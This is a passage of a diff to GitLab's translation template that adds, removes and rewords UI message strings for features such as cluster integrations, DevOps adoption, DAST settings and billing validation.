msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
